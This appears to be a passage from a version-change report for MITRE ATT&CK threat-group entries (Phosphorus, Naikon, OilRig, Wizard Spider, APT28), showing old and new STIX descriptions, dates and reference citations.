| external_references[17]['url'] | https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/ | https://www.eweek.com/security/newscaster-threat-uses-social-media-for-intelligence-gathering |
| external_references[18]['source_name'] | US District Court of DC Phosphorus Complaint 2019 | ClearSky Kittens Back 2 Oct 2019 |
| external_references[18]['description'] | US District Court of DC. (2019, March 14). MICROSOFT CORPORATION v. JOHN DOES 1-2, CONTROLLING A COMPUTER NETWORK AND THEREBY INJURING PLAINTIFF AND ITS CUSTOMERS. Retrieved March 8, 2021. | ClearSky Research Team. (2019, October 1). The Kittens Are Back in Town2 - Charming Kitten Campaign KeepsGoing on, Using New Impersonation Methods. Retrieved April 21, 2021. |
| external_references[18]['url'] | https://noticeofpleadings.com/phosphorus/files/Complaint.pdf | https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf |
| x_mitre_version | 3.0 | 4.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | TA453 | |
| external_references | {'source_name': 'IBM ITG18 2020', 'description': 'Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021.', 'url': 'https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/'} | |
| external_references | {'source_name': 'Microsoft Phosphorus Mar 2019', 'description': 'Burt, T. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020.', 'url': 'https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/'} | |
| external_references | {'source_name': 'Microsoft Phosphorus Oct 2020', 'description': 'Burt, T. (2020, October 28). Cyberattacks target international conference attendees. Retrieved March 8, 2021.', 'url': 'https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/'} | |
| external_references | {'source_name': 'US District Court of DC Phosphorus Complaint 2019', 'description': 'US District Court of DC. (2019, March 14). MICROSOFT CORPORATION v. JOHN DOES 1-2, CONTROLLING A COMPUTER NETWORK AND THEREBY INJURING PLAINTIFF AND ITS CUSTOMERS. Retrieved March 8, 2021.', 'url': 'https://noticeofpleadings.com/phosphorus/files/Complaint.pdf'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Naikon](https://attack.mitre.org/groups/G0019) is a threat | t | 1 | [Naikon](https://attack.mitre.org/groups/G0019) is assessed |
| > | group that has focused on targets around the South China Sea | > | to be a state-sponsored cyber espionage group attributed to | ||
| > | .(Citation: Baumgartner Naikon 2015) The group has been attr | > | the Chinese People’s Liberation Army’s (PLA) Chengdu Militar | ||
| > | ibuted to the Chinese People’s Liberation Army’s (PLA) Cheng | > | y Region Second Technical Reconnaissance Bureau (Military Un | ||
| > | du Military Region Second Technical Reconnaissance Bureau(Mi | > | it Cover Designator 78020).(Citation: CameraShy) Active sinc | ||
| > | litary Unit Cover Designator 78020).(Citation: CameraShy) Wh | > | e at least 2010, [Naikon](https://attack.mitre.org/groups/G0 | ||
| > | ile [Naikon](https://attack.mitre.org/groups/G0019) shares s | > | 019) has primarily conducted operations against government, | ||
| > | ome characteristics with [APT30](https://attack.mitre.org/gr | > | military, and civil organizations in Southeast Asia, as well | ||
| > | oups/G0013), the two groups do not appear to be exact matche | > | as against international bodies such as the United Nations | ||
| > | s.(Citation: Baumgartner Golovkin Naikon 2015) | > | Development Programme (UNDP) and the Association of Southeas | ||
| > | t Asian Nations (ASEAN).(Citation: CameraShy)(Citation: Baum | ||||
| > | gartner Naikon 2015) While [Naikon](https://attack.mitre.o | ||||
| > | rg/groups/G0019) shares some characteristics with [APT30](ht | ||||
| > | tps://attack.mitre.org/groups/G0013), the two groups do not | ||||
| > | appear to be exact matches.(Citation: Baumgartner Golovkin N | ||||
| > | aikon 2015) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Kyaw Pyiyt Htet, @KyawPyiytHtet'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-03 21:48:57.725000+00:00 | 2021-08-19 18:23:23.507000+00:00 |
| description | [Naikon](https://attack.mitre.org/groups/G0019) is a threat group that has focused on targets around the South China Sea.(Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau(Military Unit Cover Designator 78020).(Citation: CameraShy) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015) | [Naikon](https://attack.mitre.org/groups/G0019) is assessed to be a state-sponsored cyber espionage group attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020).(Citation: CameraShy) Active since at least 2010, [Naikon](https://attack.mitre.org/groups/G0019) has primarily conducted operations against government, military, and civil organizations in Southeast Asia, as well as against international bodies such as the United Nations Development Programme (UNDP) and the Association of Southeast Asian Nations (ASEAN).(Citation: CameraShy)(Citation: Baumgartner Naikon 2015) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015) |
| external_references[2]['source_name'] | Baumgartner Naikon 2015 | CameraShy |
| external_references[2]['description'] | Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019. | ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015. |
| external_references[2]['url'] | https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf | http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf |
| external_references[3]['source_name'] | CameraShy | Baumgartner Naikon 2015 |
| external_references[3]['description'] | ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015. | Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019. |
| external_references[3]['url'] | http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf | https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf |
| x_mitre_version | 1.1 | 2.0 |
Current version: 3.0
Version changed from: 2.0 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [OilRig](https://attack.mitre.org/groups/G0049) is a suspect | t | 1 | [OilRig](https://attack.mitre.org/groups/G0049) is a suspect |
| > | ed Iranian threat group that has targeted Middle Eastern and | > | ed Iranian threat group that has targeted Middle Eastern and | ||
| > | international victims since at least 2014. The group has ta | > | international victims since at least 2014. The group has ta | ||
| > | rgeted a variety of industries, including financial, governm | > | rgeted a variety of sectors, including financial, government | ||
| > | ent, energy, chemical, and telecommunications, and has large | > | , energy, chemical, and telecommunications. It appears the g | ||
| > | ly focused its operations within the Middle East. It appears | > | roup carries out supply chain attacks, leveraging the trust | ||
| > | the group carries out supply chain attacks, leveraging the | > | relationship between organizations to attack their primary t | ||
| > | trust relationship between organizations to attack their pri | > | argets. FireEye assesses that the group works on behalf of t | ||
| > | mary targets. FireEye assesses that the group works on behal | > | he Iranian government based on infrastructure details that c | ||
| > | f of the Iranian government based on infrastructure details | > | ontain references to Iran, use of Iranian infrastructure, an | ||
| > | that contain references to Iran, use of Iranian infrastructu | > | d targeting that aligns with nation-state interests. (Citati | ||
| > | re, and targeting that aligns with nation-state interests. ( | > | on: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig | ||
| > | Citation: Palo Alto OilRig April 2017) (Citation: ClearSky O | > | Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: P | ||
| > | ilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citat | > | alo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 20 | ||
| > | ion: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook | > | 17) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUA | ||
| > | Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit | > | DAGENT July 2018) | ||
| > | 42 QUADAGENT July 2018) This group was previously tracked un | ||||
| > | der two distinct groups, APT34 and OilRig, but was combined | ||||
| > | due to additional reporting giving higher confidence about t | ||||
| > | he overlap of the activity. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-26 12:59:49.642000+00:00 | 2021-10-15 22:04:08.941000+00:00 |
| description | [OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. | [OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) |
| external_references[5]['description'] | This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017) | This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)(Citation: Check Point APT34 April 2021) |
| x_mitre_version | 2.0 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Check Point APT34 April 2021', 'description': 'Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.', 'url': 'https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/'} |
Current version: 2.0
Version changed from: 1.3 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Wizard Spider](https://attack.mitre.org/groups/G0102) is a | t | 1 | [Wizard Spider](https://attack.mitre.org/groups/G0102) is a |
| > | financially motivated criminal group that has been conductin | > | Russia-based financially motivated threat group originally k | ||
| > | g ransomware campaigns since at least August 2018 against a | > | nown for the creation and deployment of [TrickBot](https://a | ||
| > | variety of organizations, ranging from major corporations to | > | ttack.mitre.org/software/S0266) since at least 2016. [Wizard | ||
| > | hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citatio | > | Spider](https://attack.mitre.org/groups/G0102) possesses a | ||
| > | n: DHS/CISA Ransomware Targeting Healthcare October 2020) | > | diverse arsenal of tools and has conducted ransomware campai | ||
| > | gns against a variety of organizations, ranging from major c | ||||
| > | orporations to hospitals.(Citation: CrowdStrike Ryuk January | ||||
| > | 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare Oc | ||||
| > | tober 2020)(Citation: CrowdStrike Wizard Spider October 2020 | ||||
| > | ) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-12-29 17:45:44.841000+00:00 | 2021-10-14 17:27:41.194000+00:00 |
| description | [Wizard Spider](https://attack.mitre.org/groups/G0102) is a financially motivated criminal group that has been conducting ransomware campaigns since at least August 2018 against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020) | [Wizard Spider](https://attack.mitre.org/groups/G0102) is a Russia-based financially motivated threat group originally known for the creation and deployment of [TrickBot](https://attack.mitre.org/software/S0266) since at least 2016. [Wizard Spider](https://attack.mitre.org/groups/G0102) possesses a diverse arsenal of tools and has conducted ransomware campaigns against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: CrowdStrike Wizard Spider October 2020) |
| external_references[6]['source_name'] | FireEye KEGTAP SINGLEMALT October 2020 | CrowdStrike Wizard Spider October 2020 |
| external_references[6]['description'] | Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020. | Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021. |
| external_references[6]['url'] | https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html | https://www.crowdstrike.com/blog/wizard-spider-adversary-update/ |
| external_references[7]['source_name'] | FireEye Ryuk and Trickbot January 2019 | FireEye KEGTAP SINGLEMALT October 2020 |
| external_references[7]['description'] | Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020. | Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020. |
| external_references[7]['url'] | https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html | https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html |
| external_references[8]['source_name'] | CrowdStrike Grim Spider May 2019 | FireEye Ryuk and Trickbot January 2019 |
| external_references[8]['description'] | John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020. | Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020. |
| external_references[8]['url'] | https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/ | https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html |
| x_mitre_version | 1.3 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CrowdStrike Grim Spider May 2019', 'description': 'John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.', 'url': 'https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/'} | |
| x_mitre_contributors | Edward Millington |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 14:40:36.467000+00:00 | 2021-05-26 20:17:53.085000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:35:55.290000+00:00 | 2021-05-26 12:23:48.842000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-02-09 13:56:34.975000+00:00 | 2021-05-26 12:38:01.003000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 3.2
Version changed from: 3.1 → 3.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT28](https://attack.mitre.org/groups/G0007) is a threat g | t | 1 | [APT28](https://attack.mitre.org/groups/G0007) is a threat g |
| > | roup that has been attributed to Russia's General Staff Main | > | roup that has been attributed to Russia's General Staff Main | ||
| > | Intelligence Directorate (GRU) 85th Main Special Service Ce | > | Intelligence Directorate (GRU) 85th Main Special Service Ce | ||
| > | nter (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub | > | nter (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub | ||
| > | August 2020) This group has been active since at least 2004 | > | August 2020)(Citation: Cybersecurity Advisory GRU Brute For | ||
| > | .(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Tech | > | ce Campaign July 2021) This group has been active since at l | ||
| > | nica GRU indictment Jul 2018) (Citation: Crowdstrike DNC Jun | > | east 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: | ||
| > | e 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG- | > | Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike | ||
| > | 4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZ | > | DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWork | ||
| > | ZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: | > | s TG-4127)(Citation: FireEye APT28 January 2017)(Citation: G | ||
| > | Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018 | > | RIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation: | ||
| > | ) (Citation: ESET Zebrocy May 2019) [APT28](https://attack. | > | Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018 | ||
| > | mitre.org/groups/G0007) reportedly compromised the Hillary C | > | )(Citation: ESET Zebrocy May 2019) [APT28](https://attack.m | ||
| > | linton campaign, the Democratic National Committee, and the | > | itre.org/groups/G0007) reportedly compromised the Hillary Cl | ||
| > | Democratic Congressional Campaign Committee in 2016 in an at | > | inton campaign, the Democratic National Committee, and the D | ||
| > | tempt to interfere with the U.S. presidential election. (Cit | > | emocratic Congressional Campaign Committee in 2016 in an att | ||
| > | ation: Crowdstrike DNC June 2016) In 2018, the US indicted f | > | empt to interfere with the U.S. presidential election. (Cita | ||
| > | ive GRU Unit 26165 officers associated with [APT28](https:// | > | tion: Crowdstrike DNC June 2016) In 2018, the US indicted fi | ||
| > | attack.mitre.org/groups/G0007) for cyber operations (includi | > | ve GRU Unit 26165 officers associated with [APT28](https://a | ||
| > | ng close-access operations) conducted between 2014 and 2018 | > | ttack.mitre.org/groups/G0007) for cyber operations (includin | ||
| > | against the World Anti-Doping Agency (WADA), the US Anti-Dop | > | g close-access operations) conducted between 2014 and 2018 a | ||
| > | ing Agency, a US nuclear facility, the Organization for the | > | gainst the World Anti-Doping Agency (WADA), the US Anti-Dopi | ||
| > | Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chem | > | ng Agency, a US nuclear facility, the Organization for the P | ||
| > | icals Laboratory, and other organizations.(Citation: US Dist | > | rohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemi | ||
| > | rict Court Indictment GRU Oct 2018) Some of these were condu | > | cals Laboratory, and other organizations.(Citation: US Distr | ||
| > | cted with the assistance of GRU Unit 74455, which is also re | > | ict Court Indictment GRU Oct 2018) Some of these were conduc | ||
| > | ferred to as [Sandworm Team](https://attack.mitre.org/groups | > | ted with the assistance of GRU Unit 74455, which is also ref | ||
| > | /G0034). | > | erred to as [Sandworm Team](https://attack.mitre.org/groups/ | ||
| > | G0034). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-19 21:59:12.033000+00:00 | 2021-10-18 20:34:03.233000+00:00 |
| description | [APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019) [APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). | [APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: FireEye APT28 January 2017)(Citation: GRIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation: Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018)(Citation: ESET Zebrocy May 2019) [APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). |
| external_references[1]['description'] | (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018) | (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) |
| external_references[5]['description'] | This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT. (Citation: FireEye APT28 January 2017) (Citation: SecureWorks TG-4127) (Citation: Kaspersky Sofacy) (Citation: Ars Technica GRU indictment Jul 2018) | This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT.(Citation: FireEye APT28 January 2017)(Citation: SecureWorks TG-4127)(Citation: Kaspersky Sofacy)(Citation: Ars Technica GRU indictment Jul 2018) |
| external_references[6]['description'] | This designation has been used in reporting both to refer to the threat group and its associated malware. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017) | This designation has been used in reporting both to refer to the threat group and its associated malware.(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: Crowdstrike DNC June 2016)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017) |
| external_references[7]['description'] | (Citation: SecureWorks TG-4127) (Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) | (Citation: SecureWorks TG-4127)(Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) |
| external_references[8]['description'] | (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018) | (Citation: Crowdstrike DNC June 2016)(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) |
| external_references[9]['description'] | (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Microsoft STRONTIUM Aug 2019) (Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020) | (Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Microsoft STRONTIUM Aug 2019)(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) |
| external_references[14]['source_name'] | DOJ GRU Indictment Jul 2018 | Cybersecurity Advisory GRU Brute Force Campaign July 2021 |
| external_references[14]['description'] | Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. | NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021. |
| external_references[14]['url'] | https://www.justice.gov/file/1080281/download | https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF |
| external_references[15]['source_name'] | Ars Technica GRU indictment Jul 2018 | DOJ GRU Indictment Jul 2018 |
| external_references[15]['description'] | Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018. | Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. |
| external_references[15]['url'] | https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/ | https://www.justice.gov/file/1080281/download |
| external_references[16]['source_name'] | Crowdstrike DNC June 2016 | Ars Technica GRU indictment Jul 2018 |
| external_references[16]['description'] | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. | Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018. |
| external_references[16]['url'] | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ | https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/ |
| external_references[17]['source_name'] | FireEye APT28 | Crowdstrike DNC June 2016 |
| external_references[17]['description'] | FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. |
| external_references[17]['url'] | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ |
| external_references[18]['source_name'] | SecureWorks TG-4127 | FireEye APT28 |
| external_references[18]['description'] | SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016. | FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. |
| external_references[18]['url'] | https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf |
| external_references[19]['source_name'] | FireEye APT28 January 2017 | SecureWorks TG-4127 |
| external_references[19]['description'] | FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017. | SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016. |
| external_references[19]['url'] | https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf | https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign |
